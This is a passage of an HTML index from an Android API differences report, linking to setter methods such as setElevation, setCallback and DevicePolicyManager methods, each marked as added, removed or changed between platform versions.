HREF="android.app.Fragment.html#android.app.Fragment.setAllowEnterTransitionOverlap_added(boolean)" class="hiddenlink" target="rightframe"><b>setAllowEnterTransitionOverlap</b> (<code>boolean</code>)</A></nobr><br> <nobr><A HREF="android.view.Window.html#android.view.Window.setAllowExitTransitionOverlap_removed(boolean)" class="hiddenlink" target="rightframe"><strike>setAllowExitTransitionOverlap</strike> (<code>boolean</code>)</A></nobr><br> <i>setAllowReturnTransitionOverlap</i><br> &nbsp;&nbsp;<nobr><A HREF="android.app.Fragment.html#android.app.Fragment.setAllowReturnTransitionOverlap_added(boolean)" class="hiddenlink" target="rightframe">type&nbsp;<b> (<code>boolean</code>)</b>&nbsp;in&nbsp;android.app.Fragment </A></nobr><br> &nbsp;&nbsp;<nobr><A HREF="android.view.Window.html#android.view.Window.setAllowReturnTransitionOverlap_added(boolean)" class="hiddenlink" target="rightframe">type&nbsp;<b> (<code>boolean</code>)</b>&nbsp;in&nbsp;android.view.Window </A></nobr><br> <nobr><A HREF="android.graphics.Outline.html#android.graphics.Outline.setAlpha_added(float)" class="hiddenlink" target="rightframe"><b>setAlpha</b> (<code>float</code>)</A></nobr><br> <nobr><A HREF="android.app.admin.DevicePolicyManager.html#android.app.admin.DevicePolicyManager.setApplicationBlocked_removed(android.content.ComponentName, java.lang.String, boolean)" class="hiddenlink" target="rightframe"><strike>setApplicationBlocked</strike> (<code>ComponentName, String, boolean</code>)</A></nobr><br> <nobr><A HREF="android.app.admin.DevicePolicyManager.html#android.app.admin.DevicePolicyManager.setApplicationHidden_added(android.content.ComponentName, java.lang.String, boolean)" class="hiddenlink" target="rightframe"><b>setApplicationHidden</b> (<code>ComponentName, String, boolean</code>)</A></nobr><br> <nobr><A HREF="android.app.admin.DevicePolicyManager.html#android.app.admin.DevicePolicyManager.setApplicationsBlocked_removed(android.content.ComponentName, android.content.Intent, boolean)" class="hiddenlink" target="rightframe"><strike>setApplicationsBlocked</strike> (<code>ComponentName, Intent, boolean</code>)</A></nobr><br> <i>setAudioAttributes</i><br> &nbsp;&nbsp;<nobr><A HREF="android.media.MediaPlayer.html#android.media.MediaPlayer.setAudioAttributes_added(android.media.AudioAttributes)" class="hiddenlink" target="rightframe">type&nbsp;<b> (<code>AudioAttributes</code>)</b>&nbsp;in&nbsp;android.media.MediaPlayer </A></nobr><br> &nbsp;&nbsp;<nobr><A HREF="android.media.Ringtone.html#android.media.Ringtone.setAudioAttributes_added(android.media.AudioAttributes)" class="hiddenlink" target="rightframe">type&nbsp;<b> (<code>AudioAttributes</code>)</b>&nbsp;in&nbsp;android.media.Ringtone </A></nobr><br> &nbsp;&nbsp;<nobr><A HREF="android.speech.tts.TextToSpeech.html#android.speech.tts.TextToSpeech.setAudioAttributes_added(android.media.AudioAttributes)" class="hiddenlink" target="rightframe">type&nbsp;<b> (<code>AudioAttributes</code>)</b>&nbsp;in&nbsp;android.speech.tts.TextToSpeech </A></nobr><br> <nobr><A HREF="android.app.admin.DevicePolicyManager.html#android.app.admin.DevicePolicyManager.setAutoTimeRequired_added(android.content.ComponentName, boolean)" class="hiddenlink" target="rightframe"><b>setAutoTimeRequired</b> (<code>ComponentName, boolean</code>)</A></nobr><br> <nobr><A HREF="android.view.View.html#android.view.View.setBackgroundTintList_added(android.content.res.ColorStateList)" class="hiddenlink" target="rightframe"><b>setBackgroundTintList</b> (<code>ColorStateList</code>)</A></nobr><br> <nobr><A HREF="android.view.View.html#android.view.View.setBackgroundTintMode_added(android.graphics.PorterDuff.Mode)" class="hiddenlink" target="rightframe"><b>setBackgroundTintMode</b> (<code>Mode</code>)</A></nobr><br> <nobr><A HREF="android.net.VpnService.Builder.html#android.net.VpnService.Builder.setBlocking_added(boolean)" class="hiddenlink" target="rightframe"><b>setBlocking</b> (<code>boolean</code>)</A></nobr><br> <nobr><A HREF="android.media.session.PlaybackState.html#android.media.session.PlaybackState.setBufferPosition_removed(long)" class="hiddenlink" target="rightframe"><strike>setBufferPosition</strike> (<code>long</code>)</A></nobr><br> <nobr><A HREF="android.widget.CompoundButton.html#android.widget.CompoundButton.setButtonTintList_added(android.content.res.ColorStateList)" class="hiddenlink" target="rightframe"><b>setButtonTintList</b> (<code>ColorStateList</code>)</A></nobr><br> <nobr><A HREF="android.widget.CompoundButton.html#android.widget.CompoundButton.setButtonTintMode_added(android.graphics.PorterDuff.Mode)" class="hiddenlink" target="rightframe"><b>setButtonTintMode</b> (<code>Mode</code>)</A></nobr><br> <i>setCallback</i><br> &nbsp;&nbsp;<nobr><A HREF="android.media.MediaCodec.html#android.media.MediaCodec.setCallback_added(android.media.MediaCodec.Callback)" class="hiddenlink" target="rightframe">type&nbsp;<b> (<code>Callback</code>)</b>&nbsp;in&nbsp;android.media.MediaCodec </A></nobr><br> &nbsp;&nbsp;<nobr><A HREF="android.media.session.MediaSession.html#android.media.session.MediaSession.setCallback_added(android.media.session.MediaSession.Callback)" class="hiddenlink" target="rightframe">type&nbsp;<b> (<code>Callback</code>)</b>&nbsp;in&nbsp;android.media.session.MediaSession </A></nobr><br> &nbsp;&nbsp;<nobr><A HREF="android.media.session.MediaSession.html#android.media.session.MediaSession.setCallback_added(android.media.session.MediaSession.Callback, android.os.Handler)" class="hiddenlink" target="rightframe">type&nbsp;<b> (<code>Callback, Handler</code>)</b>&nbsp;in&nbsp;android.media.session.MediaSession </A></nobr><br> &nbsp;&nbsp;<nobr><A HREF="android.media.tv.TvView.html#android.media.tv.TvView.setCallback_added(android.media.tv.TvView.TvInputCallback)" class="hiddenlink" target="rightframe">type&nbsp;<b> (<code>TvInputCallback</code>)</b>&nbsp;in&nbsp;android.media.tv.TvView </A></nobr><br> <nobr><A HREF="android.bluetooth.le.ScanSettings.Builder.html#android.bluetooth.le.ScanSettings.Builder.setCallbackType_removed(int)" class="hiddenlink" target="rightframe"><strike>setCallbackType</strike> (<code>int</code>)</A></nobr><br> <nobr><A HREF="android.media.MediaRecorder.html#android.media.MediaRecorder.setCamera_changed(android.hardware.Camera)" class="hiddenlink" target="rightframe">setCamera (<code>Camera</code>)</A></nobr><br> <nobr><A HREF="android.media.tv.TvView.html#android.media.tv.TvView.setCaptionEnabled_added(boolean)" class="hiddenlink" target="rightframe"><b>setCaptionEnabled</b> (<code>boolean</code>)</A></nobr><br> <nobr><A HREF="android.widget.CheckedTextView.html#android.widget.CheckedTextView.setCheckMarkTintList_added(android.content.res.ColorStateList)" class="hiddenlink" target="rightframe"><b>setCheckMarkTintList</b> (<code>ColorStateList</code>)</A></nobr><br> <nobr><A HREF="android.widget.CheckedTextView.html#android.widget.CheckedTextView.setCheckMarkTintMode_added(android.graphics.PorterDuff.Mode)" class="hiddenlink" target="rightframe"><b>setCheckMarkTintMode</b> (<code>Mode</code>)</A></nobr><br> <i>setColor</i><br> &nbsp;&nbsp;<nobr><A HREF="android.graphics.PorterDuffColorFilter.html#android.graphics.PorterDuffColorFilter.setColor_removed(int)" class="hiddenlink" target="rightframe">type&nbsp;<strike> (<code>int</code>)</strike>&nbsp;in&nbsp;android.graphics.PorterDuffColorFilter </A></nobr><br> &nbsp;&nbsp;<nobr><A HREF="android.widget.EdgeEffect.html#android.widget.EdgeEffect.setColor_added(int)" class="hiddenlink" target="rightframe">type&nbsp;<b> (<code>int</code>)</b>&nbsp;in&nbsp;android.widget.EdgeEffect </A></nobr><br> <nobr><A HREF="android.graphics.LightingColorFilter.html#android.graphics.LightingColorFilter.setColorAdd_removed(int)" class="hiddenlink" target="rightframe"><strike>setColorAdd</strike> (<code>int</code>)</A></nobr><br> <i>setColorMatrix</i><br> &nbsp;&nbsp;<nobr><A HREF="android.graphics.ColorMatrixColorFilter.html#android.graphics.ColorMatrixColorFilter.setColorMatrix_removed(android.graphics.ColorMatrix)" class="hiddenlink" target="rightframe">type&nbsp;<strike> (<code>ColorMatrix</code>)</strike>&nbsp;in&nbsp;android.graphics.ColorMatrixColorFilter </A></nobr><br> &nbsp;&nbsp;<nobr><A HREF="android.graphics.ColorMatrixColorFilter.html#android.graphics.ColorMatrixColorFilter.setColorMatrix_removed(float[])" class="hiddenlink" target="rightframe">type&nbsp;<strike> (<code>float[]</code>)</strike>&nbsp;in&nbsp;android.graphics.ColorMatrixColorFilter </A></nobr><br> <nobr><A HREF="android.graphics.LightingColorFilter.html#android.graphics.LightingColorFilter.setColorMultiply_removed(int)" class="hiddenlink" target="rightframe"><strike>setColorMultiply</strike> (<code>int</code>)</A></nobr><br> <nobr><A HREF="android.bluetooth.le.AdvertiseSettings.Builder.html#android.bluetooth.le.AdvertiseSettings.Builder.setConnectable_added(boolean)" class="hiddenlink" target="rightframe"><b>setConnectable</b> (<code>boolean</code>)</A></nobr><br> <nobr><A HREF="android.webkit.CookieManager.html#android.webkit.CookieManager.setCookie_added(java.lang.String, java.lang.String, android.webkit.ValueCallback<java.lang.Boolean>)" class="hiddenlink" target="rightframe"><b>setCookie</b> (<code>String, String, ValueCallback&lt;Boolean&gt;</code>)</A></nobr><br> <nobr><A HREF="android.media.Image.html#android.media.Image.setCropRect_added(android.graphics.Rect)" class="hiddenlink" target="rightframe"><b>setCropRect</b> (<code>Rect</code>)</A></nobr><br> <nobr><A HREF="android.app.admin.DevicePolicyManager.html#android.app.admin.DevicePolicyManager.setCrossProfileCallerIdDisabled_added(android.content.ComponentName, boolean)" class="hiddenlink" target="rightframe"><b>setCrossProfileCallerIdDisabled</b> (<code>ComponentName, boolean</code>)</A></nobr><br> <nobr><A HREF="android.inputmethodservice.InputMethodService.html#android.inputmethodservice.InputMethodService.setCursorAnchorMonitorMode_removed(int)" class="hiddenlink" target="rightframe"><strike>setCursorAnchorMonitorMode</strike> (<code>int</code>)</A></nobr><br> <nobr><A HREF="android.hardware.camera2.DngCreator.html#android.hardware.camera2.DngCreator.setDescription_added(java.lang.String)" class="hiddenlink" target="rightframe"><b>setDescription</b> (<code>String</code>)</A></nobr><br> <nobr><A HREF="android.bluetooth.le.ScanFilter.Builder.html#android.bluetooth.le.ScanFilter.Builder.setDeviceAddress_added(java.lang.String)" class="hiddenlink" target="rightframe"><b>setDeviceAddress</b> (<code>String</code>)</A></nobr><br> <nobr><A HREF="android.bluetooth.le.ScanFilter.Builder.html#android.bluetooth.le.ScanFilter.Builder.setDeviceName_added(java.lang.String)" class="hiddenlink" target="rightframe"><b>setDeviceName</b> (<code>String</code>)</A></nobr><br> <i>setElevation</i><br> &nbsp;&nbsp;<nobr><A HREF="android.app.ActionBar.html#android.app.ActionBar.setElevation_added(float)" class="hiddenlink" target="rightframe">type&nbsp;<b> (<code>float</code>)</b>&nbsp;in&nbsp;android.app.ActionBar </A></nobr><br> &nbsp;&nbsp;<nobr><A HREF="android.widget.PopupWindow.html#android.widget.PopupWindow.setElevation_added(float)" class="hiddenlink" target="rightframe">type&nbsp;<b> (<code>float</code>)</b>&nbsp;in&nbsp;android.widget.PopupWindow </A></nobr><br> <i>setEnterSharedElementCallback</i><br> &nbsp;&nbsp;<nobr><A HREF="android.app.Activity.html#android.app.Activity.setEnterSharedElementCallback_added(android.app.SharedElementCallback)" class="hiddenlink" target="rightframe">type&nbsp;<b> (<code>SharedElementCallback</code>)</b>&nbsp;in&nbsp;android.app.Activity </A></nobr><br> &nbsp;&nbsp;<nobr><A HREF="android.app.Fragment.html#android.app.Fragment.setEnterSharedElementCallback_added(android.app.SharedElementCallback)" class="hiddenlink" target="rightframe">type&nbsp;<b> (<code>SharedElementCallback</code>)</b>&nbsp;in&nbsp;android.app.Fragment </A></nobr><br> <nobr><A HREF="android.app.Activity.html#android.app.Activity.setEnterSharedElementListener_removed(android.app.SharedElementListener)" class="hiddenlink" target="rightframe"><strike>setEnterSharedElementListener</strike> (<code>SharedElementListener</code>)</A></nobr><br> <nobr><A HREF="android.app.Fragment.html#android.app.Fragment.setEnterTransition_added(android.transition.Transition)" class="hiddenlink" target="rightframe"><b>setEnterTransition</b> (<code>Transition</code>)</A></nobr><br> <nobr><A HREF="android.view.accessibility.AccessibilityNodeInfo.html#android.view.accessibility.AccessibilityNodeInfo.setError_added(java.lang.CharSequence)" class="hiddenlink" target="rightframe"><b>setError</b> (<code>CharSequence</code>)</A></nobr><br> <nobr><A HREF="android.media.session.PlaybackState.html#android.media.session.PlaybackState.setErrorMessage_removed(java.lang.CharSequence)" class="hiddenlink" target="rightframe"><strike>setErrorMessage</strike> (<code>CharSequence</code>)</A></nobr><br> <nobr><A HREF="android.app.ActivityManager.AppTask.html#android.app.ActivityManager.AppTask.setExcludeFromRecents_added(boolean)" class="hiddenlink" target="rightframe"><b>setExcludeFromRecents</b> (<code>boolean</code>)</A></nobr><br> <i>setExitSharedElementCallback</i><br> &nbsp;&nbsp;<nobr><A HREF="android.app.Activity.html#android.app.Activity.setExitSharedElementCallback_added(android.app.SharedElementCallback)" class="hiddenlink" target="rightframe">type&nbsp;<b> (<code>SharedElementCallback</code>)</b>&nbsp;in&nbsp;android.app.Activity </A></nobr><br> &nbsp;&nbsp;<nobr><A HREF="android.app.Fragment.html#android.app.Fragment.setExitSharedElementCallback_added(android.app.SharedElementCallback)" class="hiddenlink" target="rightframe">type&nbsp;<b> (<code>SharedElementCallback</code>)</b>&nbsp;in&nbsp;android.app.Fragment </A></nobr><br> <nobr><A HREF="android.app.Activity.html#android.app.Activity.setExitSharedElementListener_removed(android.app.SharedElementListener)" class="hiddenlink" target="rightframe"><strike>setExitSharedElementListener</strike> (<code>SharedElementListener</code>)</A></nobr><br> <nobr><A HREF="android.app.Fragment.html#android.app.Fragment.setExitTransition_added(android.transition.Transition)" class="hiddenlink" target="rightframe"><b>setExitTransition</b> (<code>Transition</code>)</A></nobr><br> <nobr><A HREF="android.media.session.MediaSession.html#android.media.session.MediaSession.setExtras_added(android.os.Bundle)" class="hiddenlink" target="rightframe"><b>setExtras</b> (<code>Bundle</code>)</A></nobr><br> <nobr><A HREF="android.media.MediaFormat.html#android.media.MediaFormat.setFeatureEnabled_added(java.lang.String, boolean)" class="hiddenlink" target="rightframe"><b>setFeatureEnabled</b> (<code>String, boolean</code>)</A></nobr><br> <nobr><A HREF="android.widget.DatePicker.html#android.widget.DatePicker.setFirstDayOfWeek_added(int)" class="hiddenlink" target="rightframe"><b>setFirstDayOfWeek</b> (<code>int</code>)</A></nobr><br> <i>setFontFeatureSettings</i><br> &nbsp;&nbsp;<nobr><A HREF="android.graphics.Paint.html#android.graphics.Paint.setFontFeatureSettings_added(java.lang.String)" class="hiddenlink" target="rightframe">type&nbsp;<b> (<code>String</code>)</b>&nbsp;in&nbsp;android.graphics.Paint </A></nobr><br> &nbsp;&nbsp;<nobr><A HREF="android.widget.TextView.html#android.widget.TextView.setFontFeatureSettings_added(java.lang.String)" class="hiddenlink" target="rightframe">type&nbsp;<b> (<code>String</code>)</b>&nbsp;in&nbsp;android.widget.TextView </A></nobr><br> <nobr><A HREF="android.widget.FrameLayout.html#android.widget.FrameLayout.setForegroundTintList_added(android.content.res.ColorStateList)" class="hiddenlink" target="rightframe"><b>setForegroundTintList</b> (<code>ColorStateList</code>)</A></nobr><br> <nobr><A HREF="android.widget.FrameLayout.html#android.widget.FrameLayout.setForegroundTintMode_added(android.graphics.PorterDuff.Mode)" class="hiddenlink" target="rightframe"><b>setForegroundTintMode</b> (<code>Mode</code>)</A></nobr><br> <nobr><A HREF="android.widget.ImageView.html#android.widget.ImageView.setImageTintList_added(android.content.res.ColorStateList)" class="hiddenlink" target="rightframe"><b>setImageTintList</b> (<code>ColorStateList</code>)</A></nobr><br> <nobr><A HREF="android.widget.ImageView.html#android.widget.ImageView.setImageTintMode_added(android.graphics.PorterDuff.Mode)" class="hiddenlink" target="rightframe"><b>setImageTintMode</b> (<code>Mode</code>)</A></nobr><br> <nobr><A HREF="android.widget.ProgressBar.html#android.widget.ProgressBar.setIndeterminateTintList_added(android.content.res.ColorStateList)" class="hiddenlink" target="rightframe"><b>setIndeterminateTintList</b> (<code>ColorStateList</code>)</A></nobr><br> <nobr><A HREF="android.widget.ProgressBar.html#android.widget.ProgressBar.setIndeterminateTintMode_added(android.graphics.PorterDuff.Mode)" class="hiddenlink" target="rightframe"><b>setIndeterminateTintMode</b> (<code>Mode</code>)</A></nobr><br> <nobr><A HREF="android.view.inputmethod.CursorAnchorInfo.Builder.html#android.view.inputmethod.CursorAnchorInfo.Builder.setInsertionMarkerLocation_changed(float, float, float, float, int)" class="hiddenlink" target="rightframe">setInsertionMarkerLocation (<code>float, float, float, float, int</code>)</A></nobr><br> <nobr><A HREF="android.content.RestrictionEntry.html#android.content.RestrictionEntry.setIntValue_added(int)" class="hiddenlink" target="rightframe"><b>setIntValue</b> (<code>int</code>)</A></nobr><br> <nobr><A HREF="android.media.session.MediaSession.html#android.media.session.MediaSession.setLaunchPendingIntent_removed(android.app.PendingIntent)" class="hiddenlink" target="rightframe"><strike>setLaunchPendingIntent</strike> (<code>PendingIntent</code>)</A></nobr><br> <i>setLetterSpacing</i><br> &nbsp;&nbsp;<nobr><A HREF="android.graphics.Paint.html#android.graphics.Paint.setLetterSpacing_added(float)" class="hiddenlink" target="rightframe">type&nbsp;<b> (<code>float</code>)</b>&nbsp;in&nbsp;android.graphics.Paint </A></nobr><br> &nbsp;&nbsp;<nobr><A HREF="android.widget.TextView.html#android.widget.TextView.setLetterSpacing_added(float)" class="hiddenlink" target="rightframe">type&nbsp;<b> (<code>float</code>)</b>&nbsp;in&nbsp;android.widget.TextView </A></nobr><br> <nobr><A HREF="android.hardware.camera2.DngCreator.html#android.hardware.camera2.DngCreator.setLocation_added(android.location.Location)" class="hiddenlink" target="rightframe"><b>setLocation</b> (<code>Location</code>)</A></nobr><br> <nobr><A HREF="android.app.admin.DevicePolicyManager.html#android.app.admin.DevicePolicyManager.setLockTaskComponents_removed(android.content.ComponentName[])" class="hiddenlink" target="rightframe"><strike>setLockTaskComponents</strike> (<code>ComponentName[]</code>)</A></nobr><br> <nobr><A HREF="android.app.admin.DevicePolicyManager.html#android.app.admin.DevicePolicyManager.setLockTaskPackages_added(android.content.ComponentName, java.lang.String[])" class="hiddenlink" target="rightframe"><b>setLockTaskPackages</b> (<code>ComponentName, String[]</code>)</A></nobr><br> <nobr><A HREF="android.bluetooth.le.ScanFilter.Builder.html#android.bluetooth.le.ScanFilter.Builder.setMacAddress_removed(java.lang.String)" class="hiddenlink" target="rightframe"><strike>setMacAddress</strike> (<code>String</code>)</A></nobr><br> <nobr><A HREF="android.app.admin.DevicePolicyManager.html#android.app.admin.DevicePolicyManager.setMasterVolumeMuted_added(android.content.ComponentName, boolean)" class="hiddenlink" target="rightframe"><b>setMasterVolumeMuted</b> (<code>ComponentName, boolean</code>)</A></nobr><br> <nobr><A HREF="android.view.accessibility.AccessibilityNodeInfo.html#android.view.accessibility.AccessibilityNodeInfo.setMaxTextLength_added(int)" class="hiddenlink" target="rightframe"><b>setMaxTextLength</b> (<code>int</code>)</A></nobr><br> <nobr><A HREF="android.media.session.MediaSession.html#android.media.session.MediaSession.setMediaButtonReceiver_added(android.app.PendingIntent)" class="hiddenlink" target="rightframe"><b>setMediaButtonReceiver</b> (<code>PendingIntent</code>)</A></nobr><br> <i>setMediaController</i><br> &nbsp;&nbsp;<nobr><A HREF="android.app.Activity.html#android.app.Activity.setMediaController_added(android.media.session.MediaController)" class="hiddenlink" target="rightframe">type&nbsp;<b> (<code>MediaController</code>)</b>&nbsp;in&nbsp;android.app.Activity </A></nobr><br> &nbsp;&nbsp;<nobr><A HREF="android.view.Window.html#android.view.Window.setMediaController_added(android.media.session.MediaController)" class="hiddenlink" target="rightframe">type&nbsp;<b> (<code>MediaController</code>)</b>&nbsp;in&nbsp;android.view.Window </A></nobr><br> <nobr><A HREF="android.app.Notification.MediaStyle.html#android.app.Notification.MediaStyle.setMediaSession_changed(android.media.session.MediaSession.Token)" class="hiddenlink" target="rightframe">setMediaSession (<code>Token</code>)</A></nobr><br> <i>setMode</i><br> &nbsp;&nbsp;<nobr><A HREF="android.graphics.PorterDuffColorFilter.html#android.graphics.PorterDuffColorFilter.setMode_removed(android.graphics.PorterDuff.Mode)" class="hiddenlink" target="rightframe">type&nbsp;<strike> (<code>Mode</code>)</strike>&nbsp;in&nbsp;android.graphics.PorterDuffColorFilter </A></nobr><br> &nbsp;&nbsp;<nobr><A HREF="android.transition.Visibility.html#android.transition.Visibility.setMode_added(int)" class="hiddenlink" target="rightframe">type&nbsp;<b> (<code>int</code>)</b>&nbsp;in&nbsp;android.transition.Visibility </A></nobr><br> <nobr><A HREF="android.bluetooth.le.ScanFilter.Builder.html#android.bluetooth.le.ScanFilter.Builder.setName_removed(java.lang.String)" class="hiddenlink" target="rightframe"><strike>setName</strike> (<code>String</code>)</A></nobr><br> <i>setNavigationDescription</i><br> &nbsp;&nbsp;<nobr><A HREF="android.widget.Toolbar.html#android.widget.Toolbar.setNavigationDescription_removed(int)" class="hiddenlink" target="rightframe">type&nbsp;<strike> (<code>int</code>)</strike>&nbsp;in&nbsp;android.widget.Toolbar </A></nobr><br> &nbsp;&nbsp;<nobr><A HREF="android.widget.Toolbar.html#android.widget.Toolbar.setNavigationDescription_removed(java.lang.CharSequence)" class="hiddenlink" target="rightframe">type&nbsp;<strike> (<code>CharSequence</code>)</strike>&nbsp;in&nbsp;android.widget.Toolbar </A></nobr><br> <nobr><A HREF="android.net.NetworkRequest.Builder.html#android.net.NetworkRequest.Builder.setNetworkSpecifier_added(java.lang.String)" class="hiddenlink" target="rightframe"><b>setNetworkSpecifier</b> (<code>String</code>)</A></nobr><br> <nobr><A HREF="android.hardware.camera2.DngCreator.html#android.hardware.camera2.DngCreator.setOrientation_added(int)" class="hiddenlink" target="rightframe"><b>setOrientation</b> (<code>int</code>)</A></nobr><br> <nobr><A HREF="android.view.View.html#android.view.View.setOutline_removed(android.graphics.Outline)" class="hiddenlink" target="rightframe"><strike>setOutline</strike> (<code>Outline</code>)</A></nobr><br> <nobr><A HREF="android.view.View.html#android.view.View.setOutlineProvider_added(android.view.ViewOutlineProvider)" class="hiddenlink" target="rightframe"><b>setOutlineProvider</b> (<code>ViewOutlineProvider</code>)</A></nobr><br> <nobr><A HREF="android.transition.Transition.html#android.transition.Transition.setPathMotion_added(android.transition.PathMotion)" class="hiddenlink" target="rightframe"><b>setPathMotion</b> (<code>PathMotion</code>)</A></nobr><br> <nobr><A HREF="android.app.admin.DevicePolicyManager.html#android.app.admin.DevicePolicyManager.setPermittedAccessibilityServices_added(android.content.ComponentName, java.util.List<java.lang.String>)" class="hiddenlink" target="rightframe"><b>setPermittedAccessibilityServices</b> (<code>ComponentName, List&lt;String&gt;</code>)</A></nobr><br> <nobr><A HREF="android.app.admin.DevicePolicyManager.html#android.app.admin.DevicePolicyManager.setPermittedInputMethods_added(android.content.ComponentName, java.util.List<java.lang.String>)" class="hiddenlink" target="rightframe"><b>setPermittedInputMethods</b> (<code>ComponentName, List&lt;String&gt;</code>)</A></nobr><br> <nobr><A HREF="android.app.job.JobInfo.Builder.html#android.app.job.JobInfo.Builder.setPersisted_added(boolean)" class="hiddenlink" target="rightframe"><b>setPersisted</b> (<code>boolean</code>)</A></nobr><br> <nobr><A HREF="android.media.session.MediaSession.html#android.media.session.MediaSession.setPlaybackToLocal_changed(android.media.AudioAttributes)" class="hiddenlink" target="rightframe">setPlaybackToLocal (<code>AudioAttributes</code>)</A></nobr><br> <nobr><A HREF="android.media.session.MediaSession.html#android.media.session.MediaSession.setPlaybackToRemote_changed(android.media.VolumeProvider)" class="hiddenlink" target="rightframe">setPlaybackToRemote (<code>VolumeProvider</code>)</A></nobr><br> <i>setPopupTheme</i><br> &nbsp;&nbsp;<nobr><A HREF="android.widget.ActionMenuView.html#android.widget.ActionMenuView.setPopupTheme_added(int)" class="hiddenlink" target="rightframe">type&nbsp;<b> (<code>int</code>)</b>&nbsp;in&nbsp;android.widget.ActionMenuView </A></nobr><br> &nbsp;&nbsp;<nobr><A HREF="android.widget.Toolbar.html#android.widget.Toolbar.setPopupTheme_added(int)" class="hiddenlink" target="rightframe">type&nbsp;<b> (<code>int</code>)</b>&nbsp;in&nbsp;android.widget.Toolbar </A></nobr><br> <nobr><A HREF="android.app.admin.DevicePolicyManager.html#android.app.admin.DevicePolicyManager.setProfileName_added(android.content.ComponentName, java.lang.String)" class="hiddenlink" target="rightframe"><b>setProfileName</b> (<code>ComponentName, String</code>)</A></nobr><br> <nobr><A HREF="android.widget.ProgressBar.html#android.widget.ProgressBar.setProgressBackgroundTintList_added(android.content.res.ColorStateList)" class="hiddenlink" target="rightframe"><b>setProgressBackgroundTintList</b> (<code>ColorStateList</code>)</A></nobr><br> <nobr><A HREF="android.widget.ProgressBar.html#android.widget.ProgressBar.setProgressBackgroundTintMode_added(android.graphics.PorterDuff.Mode)" class="hiddenlink" target="rightframe"><b>setProgressBackgroundTintMode</b> (<code>Mode</code>)</A></nobr><br> <nobr><A HREF="android.widget.ProgressBar.html#android.widget.ProgressBar.setProgressTintList_added(android.content.res.ColorStateList)" class="hiddenlink" target="rightframe"><b>setProgressTintList</b> (<code>ColorStateList</code>)</A></nobr><br> <nobr><A HREF="android.widget.ProgressBar.html#android.widget.ProgressBar.setProgressTintMode_added(android.graphics.PorterDuff.Mode)" class="hiddenlink" target="rightframe"><b>setProgressTintMode</b> (<code>Mode</code>)</A></nobr><br> <nobr><A HREF="android.media.session.MediaSession.html#android.media.session.MediaSession.setQueue_added(java.util.List<android.media.session.MediaSession.QueueItem>)" class="hiddenlink" target="rightframe"><b>setQueue</b> (<code>List&lt;QueueItem&gt;</code>)</A></nobr><br> <nobr><A HREF="android.media.session.MediaSession.html#android.media.session.MediaSession.setQueueTitle_added(java.lang.CharSequence)" class="hiddenlink" target="rightframe"><b>setQueueTitle</b> (<code>CharSequence</code>)</A></nobr><br> <nobr><A HREF="android.app.admin.DevicePolicyManager.html#android.app.admin.DevicePolicyManager.setRecommendedGlobalProxy_added(android.content.ComponentName, android.net.ProxyInfo)" class="hiddenlink" target="rightframe"><b>setRecommendedGlobalProxy</b> (<code>ComponentName, ProxyInfo</code>)</A></nobr><br> <i>setReenterTransition</i><br> &nbsp;&nbsp;<nobr><A HREF="android.app.Fragment.html#android.app.Fragment.setReenterTransition_added(android.transition.Transition)" class="hiddenlink" target="rightframe">type&nbsp;<b> (<code>Transition</code>)</b>&nbsp;in&nbsp;android.app.Fragment </A></nobr><br> &nbsp;&nbsp;<nobr><A HREF="android.view.Window.html#android.view.Window.setReenterTransition_added(android.transition.Transition)" class="hiddenlink" target="rightframe">type&nbsp;<b> (<code>Transition</code>)</b>&nbsp;in&nbsp;android.view.Window </A></nobr><br> <nobr><A HREF="java.util.concurrent.ScheduledThreadPoolExecutor.html#java.util.concurrent.ScheduledThreadPoolExecutor.setRemoveOnCancelPolicy_added(boolean)" class="hiddenlink" target="rightframe"><b>setRemoveOnCancelPolicy</b> (<code>boolean</code>)</A></nobr><br> <i>setReparent</i><br> &nbsp;&nbsp;<nobr><A HREF="android.transition.ChangeBounds.html#android.transition.ChangeBounds.setReparent_changed(boolean)" class="hiddenlink" target="rightframe">type&nbsp; (<code>boolean</code>)&nbsp;in&nbsp;android.transition.ChangeBounds </A></nobr><br> &nbsp;&nbsp;<nobr><A HREF="android.transition.ChangeTransform.html#android.transition.ChangeTransform.setReparent_added(boolean)" class="hiddenlink" target="rightframe">type&nbsp;<b> (<code>boolean</code>)</b>&nbsp;in&nbsp;android.transition.ChangeTransform </A></nobr><br> <nobr><A HREF="android.transition.ChangeTransform.html#android.transition.ChangeTransform.setReparentWithOverlay_added(boolean)" class="hiddenlink" target="rightframe"><b>setReparentWithOverlay</b> (<code>boolean</code>)</A></nobr><br> <i>setRepeatingBurst</i><br> &nbsp;&nbsp;<nobr><A HREF="android.hardware.camera2.CameraCaptureSession.html#android.hardware.camera2.CameraCaptureSession.setRepeatingBurst_changed(java.util.List<android.hardware.camera2.CaptureRequest>, android.hardware.camera2.CameraCaptureSession.CaptureCallback, android.os.Handler)" class="hiddenlink" target="rightframe">type&nbsp; (<code>List&lt;CaptureRequest&gt;, CaptureCallback, Handler</code>)&nbsp;in&nbsp;android.hardware.camera2.CameraCaptureSession </A></nobr><br> &nbsp;&nbsp;<nobr><A HREF="android.hardware.camera2.CameraDevice.html#android.hardware.camera2.CameraDevice.setRepeatingBurst_removed(java.util.List<android.hardware.camera2.CaptureRequest>, android.hardware.camera2.CameraDevice.CaptureListener, android.os.Handler)" class="hiddenlink" target="rightframe">type&nbsp;<strike> (<code>List&lt;CaptureRequest&gt;, CaptureListener, Handler</code>)</strike>&nbsp;in&nbsp;android.hardware.camera2.CameraDevice </A></nobr><br> <i>setRepeatingRequest</i><br> &nbsp;&nbsp;<nobr><A HREF="android.hardware.camera2.CameraCaptureSession.html#android.hardware.camera2.CameraCaptureSession.setRepeatingRequest_changed(android.hardware.camera2.CaptureRequest, android.hardware.camera2.CameraCaptureSession.CaptureCallback, android.os.Handler)" class="hiddenlink" target="rightframe">type&nbsp; (<code>CaptureRequest, CaptureCallback, Handler</code>)&nbsp;in&nbsp;android.hardware.camera2.CameraCaptureSession </A></nobr><br> &nbsp;&nbsp;<nobr><A HREF="android.hardware.camera2.CameraDevice.html#android.hardware.camera2.CameraDevice.setRepeatingRequest_removed(android.hardware.camera2.CaptureRequest, android.hardware.camera2.CameraDevice.CaptureListener, android.os.Handler)" class="hiddenlink" target="rightframe">type&nbsp;<strike> (<code>CaptureRequest, CaptureListener, Handler</code>)</strike>&nbsp;in&nbsp;android.hardware.camera2.CameraDevice </A></nobr><br> <nobr><A HREF="android.bluetooth.le.ScanSettings.Builder.html#android.bluetooth.le.ScanSettings.Builder.setReportDelay_added(long)" class="hiddenlink" target="rightframe"><b>setReportDelay</b> (<code>long</code>)</A></nobr><br> <nobr><A 